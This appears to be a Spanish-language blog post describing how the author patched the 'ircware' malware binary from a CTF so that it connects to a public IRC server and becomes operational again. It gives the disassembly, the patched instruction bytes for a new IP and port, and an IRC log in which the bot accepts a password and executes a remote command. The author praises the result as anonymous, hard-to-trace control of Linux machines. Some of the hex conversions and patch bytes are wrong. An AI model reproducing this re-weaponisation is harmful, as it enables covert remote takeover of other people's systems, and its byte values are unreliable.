Hacking ircware

by santatecla

“ircware tiene una funcionalidad que permite ejecutar comandos en la máquina que ejecuta el binario, en el CTF no la aproveché porque no era necesaria para obtener la flag pero tiene un gran potencial. En esta guía cambiaré la IP y el puerto destino por un servidor IRC público para que el malware vuelva a ser funcional.”

OS: “Ubuntu:20.04”
Tools: radare2, irssi.

El primer paso es detectar las instrucciones que contienen la dirección del servidor irc. Ya había descubierto en el CTF que la conexión se establece en la función fcn.CONNECT (originalmente fcn.0040028f) asi que comienzo examinando esa función:

```
0x0040028f     b829000000          mov eax, 0x29               ; ')' ; 41
0x00400294     bf02000000          mov edi, 2
0x00400299     be01000000          mov esi, 1
0x0040029e     ba00000000          mov edx, 0
0x004002a3     0f05                syscall
0x004002a5     488905540d20.       mov qword [section..data], rax ; [0x601000:8]=0
0x004002ac     b82a000000          mov eax, 0x2a               ; '*' ; 42
0x004002b1     488b3d480d20.       mov rdi, qword [section..data] ; [0x601000:8]=0
0x004002b8     687f000001          push 0x100007f
0x004002bd     66681f40            push 0x401f
0x004002c1     666a02              push 2                      ; 2
0x004002c4     4889e6              mov rsi, rsp
0x004002c7     ba10000000          mov edx, 0x10               ; 16
0x004002cc     0f05                syscall
0x004002ce     4883c40c            add rsp, 0xc
0x004002d2     c3                  ret
```

Mediante “step over” descubro que lanza la conexión en la syscall de **0x004002cc** asi que la dirección se ha tenido que especificar antes, después de darle vueltas me fijo en la instrucción “push 0x401f”, como la arquitectura x86 trabaja en little endian, “push 0x401f” realmente empila “0x1f04” que en decimal es 8000. Ya tengo la instrucción que indica el puerto y claramente veo que la instrucción anterior configura la IP ya que 0x7f = 127 ; 0x00 = 0 ; 0x00 = 0 ; 0x01 = 1 ; 127.0.0.1

Una vez localizadas las instrucciones, puedo parchear el binario para que se conecte a un servidor IRC público. El puerto por defecto es 6665 y localizo un servidor público gratuito que no tiene captcha: “irc.freenode.net”, le hago ping y veo que su IP es “130.185.232.126”. Paso a hexa la dirección:
6665 = 0x1A09
130 = 0x82 ; 185 = 0xB9 ; 232 = 0xE8 ; 126 = 0x7E ; **130.185.232.126 = 0x82B9E87E**

Entonces las instrucciones:
687f000001 push 0x100007f
66681f40 push 0x401f

Parcheadas quedarían:
6882b9e873 push 0x738e9b28
66681a09 push 0x91a

Me conecto al servidor a la sala “#secret” y ejecuto el binario parcheado:

```
$ irssi
        /connect irc.freenode.net
        /join #secret
...
16:44 -!- playerRed [~playerRed@xxxxx] has joined #secret
16:54 -!- ircware_4552 [~ircware@xxxxx] has joined #secret
16:55 < playerRed> @pass ASS3MBLY
16:55 < ircware_4552> Accepted
16:55 < playerRed> @exec touch test
16:55 < ircware_4552> PRIVMSG #secret :Done!
```

En la ruta que he ejecutado el binario aparece el siguiente fichero vacío “'test'$'\r'”. He conseguido hacer que este malware vuelva a estar operativo. Se trata de un malware que permite tomar el control de un sistema Linux de 64bits con un alto nivel de anonimato por su dificil trazabilidad, ya que se controla a través de un servidor IRC público.